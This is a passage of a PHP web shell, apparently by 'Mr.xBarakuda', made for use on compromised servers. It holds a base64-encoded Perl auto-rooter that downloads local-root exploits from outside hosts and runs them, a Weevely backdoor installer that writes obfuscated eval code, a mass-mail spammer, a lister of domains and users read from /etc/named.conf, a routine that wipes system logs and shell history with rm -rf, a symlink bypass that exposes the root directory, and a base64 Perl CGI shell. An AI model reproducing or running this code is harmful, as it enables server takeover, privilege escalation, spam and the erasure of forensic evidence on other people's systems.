iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNy0yIik7DQpzeXN0ZW0oImNobW9kIDc3NyA3LTIiKTsNCnN5c3RlbSgiLi83LTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290Lzd4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA3eCIpOw0Kc3lzdGVtKCIuLzd4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC84Iik7DQpzeXN0ZW0oImNobW9kIDc3NyA4Iik7DQpzeXN0ZW0oIi4vOCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvOSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOSIpOw0Kc3lzdGVtKCIuLzkiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzkwIik7DQpzeXN0ZW0oImNobW9kIDc3NyA5MCIpOw0Kc3lzdGVtKCIuLzkwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgOTQiKTsNCnN5c3RlbSgiLi85NCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvTGludXhfMi42LjEyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBMaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiLi9MaW51eF8yLjYuMTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L0xpbnV4XzIuNi45LWpvb2x5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2FjaWQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGFjaWQiKTsNCnN5c3RlbSgiLi9hY2lkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZDN2aWwiKTsNCnN5c3RlbSgiLi9kM3ZpbCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOw0Kc3lzdGVtKCIuL2V4cDEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGV4cDIiKTsNCnN5c3RlbSgiLi9leHAyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7DQpzeXN0ZW0oImNobW9kIDc3NyBleHAzIik7DQpzeXN0ZW0oIi4vZXhwMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwbG9pdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL2V4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmdWxsLW5lbHNvbiIpOw0Kc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbGVuaXMuc2giKTsNCnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7DQpzeXN0ZW0oIi4vbGVuaXMuc2giKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xvY2FsLTIuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHJpdjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7DQpzeXN0ZW0oIi4vcHJpdjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290LnB5Iik7DQpzeXN0ZW0oIi4vcm9vdC5weSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcnVueCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOw0Kc3lzdGVtKCIuL3J1bngiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVidW50dSIpOw0Kc3lzdGVtKCIuL3VidW50dSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2UvdHhmZmd2LnppcCIpOw0Kc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7DQpzeXN0ZW0oImNobW9kICt4IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oImNobW9kICt4IDNfWCIpOw0Kc3lzdGVtKCIuLzNfWCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0KDQoNCnByaW50ICJFbmQgTGludXguLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gImJzZCIgKQ0Kew0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7DQpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICBSb290aW5nIEJTRCAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgYnNkO2NkIGJzZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7DQpzeXN0ZW0oInVuemlwIGp3Z29ibi56aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ4bG9jYWwiKTsNCnN5c3RlbSgiLi80OGxvY2FsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7DQpzeXN0ZW0oIi4vYnNkbG9jYWwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJjaG1vZCA3NzcgQlNEMy42X2xvY2Fscm9vdCIpOw0Kc3lzdGVtKCIuL0JTRDMuNl9sb2NhbHJvb3QiKTsNCnN5c3RlbSgiaWQiKTsNCg0KDQoNCg0KcHJpbnQgIkVuZCBCc2QuLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gInN1bm9zIiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgU3Vub3MgICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBzdW5vcztjZCBzdW5vcyIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2Uva2twZ3ZzLnppcCIpOw0Kc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4X29zaC5wbCAiKTsNCnN5c3RlbSgicGVybCB4X29zaC5wbCAiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuOS9zdW5vczU5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7DQpzeXN0ZW0oIi4vc3Vub3M1OSIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS44L2ZpbmFsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmaW5hbCIpOw0Kc3lzdGVtKCIuL2ZpbmFsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7DQpzeXN0ZW0oImNobW9kICt4IHNvbGFyaXMyNyIpOw0Kc3lzdGVtKCIuL3NvbGFyaXMyNyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS4xMC9zdW5vczUxMCIpOw0Kc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOw0Kc3lzdGVtKCIuL3N1bm9zNTEwIik7DQpzeXN0ZW0oImlkIik7DQoNCg0KcHJpbnQgIkVuZCBTdW5PUyAuLlsrXVxuIjsNCn0=';
$chmoderr = fopen("lulZ/autoroot.pl" ,"w+");
$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
if($write){
print '<p>Script Autoroot is here ===> '.getcwd().'/lulZ/autoroot.pl</p>';
fclose($chmoderr);
chmod("lulZ/autoroot.pl",0755);
//Extracting htaccess to enable perl handler and type all depends on the server :D
$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
$lol = fopen("lulZ/.htaccess" ,"w+");
$dwrite = fwrite ($lol ,base64_decode($htaccess));
fclose($chmoderr);
print '<p>Back Connect and go to this directory ====> cd '.getcwd().'/lulZ/</p>';
print "<p>Autoroot Command : perl autoroot.pl</p></font></center>";
}
}
function success($for, $var1) {
$domain = $_SERVER['HTTP_HOST'];
$script = $_SERVER['SCRIPT_NAME'];
$full_url = $_SERVER['REQUEST_URI'];
if ($for == "weevely") {
$message = "<center><font color='lime'>Mr.xBarakuda installed Weevely BackDoor for you:)</font></center>";
$redirect = "";
}
echo "<div id='content'><embed
src='http://p0wersurge.com/js/achievementnopic.swf'
width='300'
height='80'
flashvars='Text=$message&gs=1337'
wmode='transparent'/></div>";
if (empty($redirect)) {
echo "<script>
function remove (){
document.getElementById('content').innerHTML='';
}
setInterval(function(){remove();}, 2700);
</script>";
} else {
echo "<script>
function remove (){
window.location = '$redirect'
}
setInterval(function(){remove();}, 2500);
</script>";
}
}
function error($mesg) {
$error = "<center><font color='red'>$mesg</font></center>";
echo "$error";
}
if (isset($_GET['weev'])) {
echo "<center><h2>Weevely Backdoor</h2>
<font color='blue'>
<form action='' method='post'>
Directory to install weevely backdoor:<br>
<input type='text' name='weev_dir' size='50' class='text' value='$path'><br>
Name of file (something .php):<br>
<input type='text' name='weev_name' class='text' value='weevely.php'><br>
Password (more than 3 characters):<br>
<input type='text' name='weev_pass' class='text'><br>
<input type='submit' name='install_weev' value='Backdoor!'><br>
</font>
</center>";
}
if (isset($_POST['install_weev'])) {
$weevdir = rtrim($_POST['weev_dir'], '/');;
$weevname = $_POST['weev_name'];
$weevpassword = $_POST['weev_pass'];
if (strlen($weevpassword) < 3) {
error("Password must be longer than 3 characters!");
} else {
$first2 = $weevpassword[0] . $weevpassword[1];
$rest = substr($weevpassword, 2);
$money = "$";
$weevelybd1 = base64_decode('ZnVuY3Rpb24gd2VldmVseSgpIHsNCiRjPSdjb3VudCc7DQokYT0kX0NPT0tJRTs=');
$weevelybd2 = "if(reset($money" . "a)=='" . $first2 . "' && $money" . "c($money" . "a)>3) {";
$weevelybd3 = "$money" . "k='$rest';";
$weevelybd4 = base64_decode('ZWNobyAnPCcuJGsuJz4nOw0KZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpOw0KZWNobyAnPC8nLiRrLic+JzsNCn0NCn0NCndlZXZlbHkoKTs=');
$all = "<?php
eval(base64_decode('" . base64_encode($weevelybd1 . $weevelybd2 . $weevelybd3 . $weevelybd4) . "'));
?>";
if (file_put_contents($weevdir . '/' . $weevname, $all)) {
echo "<center><font color='lime'>Usage: weevely [URL of backdoor] [password]</font></center>";
success("weevely");
} else {
error("Failed to write backdoor to $weevdir");
}
}
}
elseif($_GET['do'] == 'spam_mail'){
if(isset($_POST['oksend']) AND !empty($_POST['fremail']) AND !empty($_POST['tremail']) AND !empty($_POST['subjectt']) AND !empty($_POST['msgmail']) AND !empty($_POST['ctmail']) AND !empty($_POST['frname']) AND is_numeric($_POST['ctmail'])){
$FromEmail = $_POST['fremail'];
$TargetEmail = $_POST['tremail'];
$Subject = $_POST['subjectt'];
$Message = $_POST['msgmail'];
$Count = $_POST['ctmail'];
if(isset($_POST['htmlcontents'])){
$headers = "From: ".$_POST['frname']." <".$FromEmail.">rn";
$headers .= "MIME-Version: 1.0rn";
$headers .= "Content-Type: text/html; charset=ISO-8859-1rn";
$linenterr = '<br/>-<br/>';
}else{
$headers = "From: ".$_POST['frname']." <".$FromEmail.">";
$linenterr = '
-
';
}
$i=1;
while($i <= $Count){
if($Count==1){
$Subjectz = $Subject;
$Messagez = $Message;
}else{
$Subjectz = $Subject.' - '.$i;
$Messagez = $Message.$linenterr.$i;
}
if(mail($TargetEmail, $Subjectz, $Messagez, $headers)){
echo '<center><font color="lime">'.$i.' - Success Cok!</font></center><br/>';
}else{
echo '<center><font color="red">'.$i.' - Failed Cok!</font></center><br/>';
}
$i=$i+1;
}
}else{
echo '<form method="POST">
<center><h2>Mail Spammer</h2>
<p>Gunakan Email Pengirim Yang Asli Agar Pesan Tidak Dianggap Spam</p><br/>
<font color="blue">Sender Email:</font><br/>
<input type="email" size="40" name="fremail" placeholder="[email protected]" value="'.htmlspecialchars($_POST['fremail']).'"><br/><br/>
<font color="blue">Sender Name:</font><br/>
<input type="text" size="40" name="frname" placeholder="Unknown" value="'.htmlspecialchars($_POST['frname']).'"><br/><br/>
<font color="blue">Target Email:</font><br/>
<input type="email" size="40" name="tremail" placeholder="[email protected]" value="'.htmlspecialchars($_POST['tremail']).'"><br/><br/>
<font color="blue">Subject:</font><br/>
<input type="text" size="40" name="subjectt" placeholder="HELLO Beb!" value="'.htmlspecialchars($_POST['subjectt']).'"><br/><br/>
<font color="blue">Message:</font><br/>
<textarea cols="30" rows="8" name="msgmail" placeholder="Ah jembut lu!">'.htmlspecialchars($_POST['msgmail']).'</textarea><br/><br/>
<font color="blue">Spam Count:</font><br/>
<input type="number" size="40" name="ctmail" placeholder="10" value="'.htmlspecialchars($_POST['ctmail']).'"><br/><br/>
<input type="checkbox" name="htmlcontents" value="HTML Contents"><font color="blue">HTML Contents</font><br/><br/>
<input type="submit" name="oksend" value="Send!"></form></center>';
}
}
elseif($_GET['logout'] == 'true') {
echo '<form action="?path=$path&logout=true" method="post">';
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'Good Bye!';
} elseif($_GET['kuda'] == 'domains'){echo "<center><div class='mybox'><p align='center' class='cgx2'>Domains and Users</p>";$d0mains = @file("/etc/named.conf");if(!$d0mains){die("<center><font color='red'>Error : can't read [ /etc/named.conf ]</font></center>");}echo '<table id="output"><tr bgcolor=red><td>Domains</td><td>Users</td></tr>';foreach($d0mains as $d0main){if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);flush();if(strlen(trim($domains[1][0])) > 2){$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";flush();}}}echo'</div></center>';
} elseif($_GET['delete'] == 'logs') {
echo '<center><b><span>Delete Logs ( For Safety can be fun = Supported By Fiesta :v )</span></b><center><br>';
echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
exec("rm -rf /tmp/logs");
exec("rm -rf /root/.ksh_history");
exec("rm -rf /root/.bash_history");
exec("rm -rf /root/.bash_logout");
exec("rm -rf /usr/local/apache/logs");
exec("rm -rf /usr/local/apache/log");
exec("rm -rf /var/apache/logs");
exec("rm -rf /var/apache/log");
exec("rm -rf /var/run/utmp");
exec("rm -rf /var/logs");
exec("rm -rf /var/log");
exec("rm -rf /var/adm");
exec("rm -rf /etc/wtmp");
exec("rm -rf /etc/utmp");
exec("rm -rf $HISTFILE");
exec("rm -rf /var/log/lastlog");
exec("rm -rf /var/log/wtmp");
shell_exec("rm -rf /tmp/logs");
shell_exec("rm -rf /root/.ksh_history");
shell_exec("rm -rf /root/.bash_history");
shell_exec("rm -rf /root/.bash_logout");
shell_exec("rm -rf /usr/local/apache/logs");
shell_exec("rm -rf /usr/local/apache/log");
shell_exec("rm -rf /var/apache/logs");
shell_exec("rm -rf /var/apache/log");
shell_exec("rm -rf /var/run/utmp");
shell_exec("rm -rf /var/logs");
shell_exec("rm -rf /var/log");
shell_exec("rm -rf /var/adm");
shell_exec("rm -rf /etc/wtmp");
shell_exec("rm -rf /etc/utmp");
shell_exec("rm -rf $HISTFILE");
shell_exec("rm -rf /var/log/lastlog");
shell_exec("rm -rf /var/log/wtmp");
passthru("rm -rf /tmp/logs");
passthru("rm -rf /root/.ksh_history");
passthru("rm -rf /root/.bash_history");
passthru("rm -rf /root/.bash_logout");
passthru("rm -rf /usr/local/apache/logs");
passthru("rm -rf /usr/local/apache/log");
passthru("rm -rf /var/apache/logs");
passthru("rm -rf /var/apache/log");
passthru("rm -rf /var/run/utmp");
passthru("rm -rf /var/logs");
passthru("rm -rf /var/log");
passthru("rm -rf /var/adm");
passthru("rm -rf /etc/wtmp");
passthru("rm -rf /etc/utmp");
passthru("rm -rf $HISTFILE");
passthru("rm -rf /var/log/lastlog");
passthru("rm -rf /var/log/wtmp");
system("rm -rf /tmp/logs");
sleep(2);
echo'<br>Deleting .../tmp/logs ';
sleep(2);
system("rm -rf /root/.bash_history");
sleep(2);
echo'<p>Deleting .../root/.bash_history </p>';
system("rm -rf /root/.ksh_history");
sleep(2);
echo'<p>Deleting .../root/.ksh_history </p>';
system("rm -rf /root/.bash_logout");
sleep(2);
echo'<p>Deleting .../root/.bash_logout </p>';
system("rm -rf /usr/local/apache/logs");
sleep(2);
echo'<p>Deleting .../usr/local/apache/logs </p>';
system("rm -rf /usr/local/apache/log");
sleep(2);
echo'<p>Deleting .../usr/local/apache/log </p>';
system("rm -rf /var/apache/logs");
sleep(2);
echo'<p>Deleting .../var/apache/logs </p>';
system("rm -rf /var/apache/log");
sleep(2);
echo'<p>Deleting .../var/apache/log </p>';
system("rm -rf /var/run/utmp");
sleep(2);
echo'<p>Deleting .../var/run/utmp </p>';
system("rm -rf /var/logs");
sleep(2);
echo'<p>Deleting .../var/logs </p>';
system("rm -rf /var/log");
sleep(2);
echo'<p>Deleting .../var/log </p>';
system("rm -rf /var/adm");
sleep(2);
echo'<p>Deleting .../var/adm </p>';
system("rm -rf /etc/wtmp");
sleep(2);
echo'<p>Deleting .../etc/wtmp </p>';
system("rm -rf /etc/utmp");
sleep(2);
echo'<p>Deleting .../etc/utmp </p>';
system("rm -rf $HISTFILE");
sleep(2);
echo'<p>Deleting ...$HISTFILE </p>';
system("rm -rf /var/log/lastlog");
sleep(2);
echo'<p>Deleting .../var/log/lastlog </p>';
system("rm -rf /var/log/wtmp");
sleep(2);
echo'<p>Deleting .../var/log/wtmp </p>';
sleep(4);
echo '<p>Your Traces Has Been Successfully Deleting ...From the Server';
echo"</td></tr></table>";
} elseif($_GET['bypass'] == 'vhosts'){
echo "<form method='POST' action=''>";
echo "<center><h2>Bypass Symlink vHost</h2>";
echo "<input type='submit' value='Bypass!' name='jembut'>";
if (isset($_POST['jembut'])){
mkdir('symvhosts', 0755);
chdir('symvhosts');
system('ln -s / kuda.txt');
$fvckem ='T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBrdWRhLmh0bWwNCkFkZFR5cGUgdHh0IC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHA=';
$file = fopen(".htaccess","w+"); $write = fwrite ($file ,base64_decode($fvckem)); $Bok3p = symlink("/","kuda.txt");
$rt="<a href=symvhosts/kuda.txt TARGET='_blank'><font color=#ff0000 size=2 face='Courier New'><b>
Bypassed Successfully</b></font></a>";
echo "<br><br><b>Done.. !</b><br><br>Check link given below for / folder symlink <br>$rt<br><br>Note: Kalo Forbidden pas ngebuka /var/www/vhosts/domain.com/ harap tambahkan httpdocs ex:/var/www/vhosts/domain.com/httpdocs/</center>";} echo "</form>";
} elseif($_GET['kuda'] == 'cgi2') {
$cgi_dir = mkdir('kuda_cgi', 0755);
chdir('kuda_cgi');
$file_cgi = "cgi2.kuda";
$memeg = ".htaccess";
$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks
AddType application/x-httpd-cgi .kuda
AddHandler cgi-script .kuda
AddHandler cgi-script .kuda";
$htcgi = fopen(".htaccess", "w");
$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhDQojIFJlY29kZWQgQnkgTXIueEJhcmFrdWRhDQojIFRoYW5rcyBUbyA6IDB4MTk5OSAtIFhhaSBTeW5kaWNhdGUgVGVhbSAtIEFuZCBZb3UNCiANCiRXaW5OVCA9IDA7DQokTlRDbWRTZXAgPSAiJiI7DQokVW5peENtZFNlcCA9ICI7IjsNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7DQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOw0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQpzdWIgUmVhZFBhcnNlDQp7DQogICAgbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCiAgICBsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KICAgDQogICAgJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87DQogDQogICAgaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikNCiAgICB7DQogICAgICAgICRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KICAgIH0NCiAgICBlbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCiAgICB7DQogICAgICAgIGJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCiAgICAgICAgcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCiAgICB9DQogDQogICAgIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQ0KICAgIGlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQ0KICAgIHsNCiAgICAgICAgJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2Nw0KICAgICAgICBAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOw0KICAgICAgICAkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KICAgICAgICAkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQogICAgICAgICRIZWFkZXIgPSAkYDsNCiAgICAgICAgJEJvZHkgPSAkJzsNCiAgICAgICAgJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQ0KICAgICAgICAkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsNCiAgICAgICAgJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOw0KICAgICAgICAka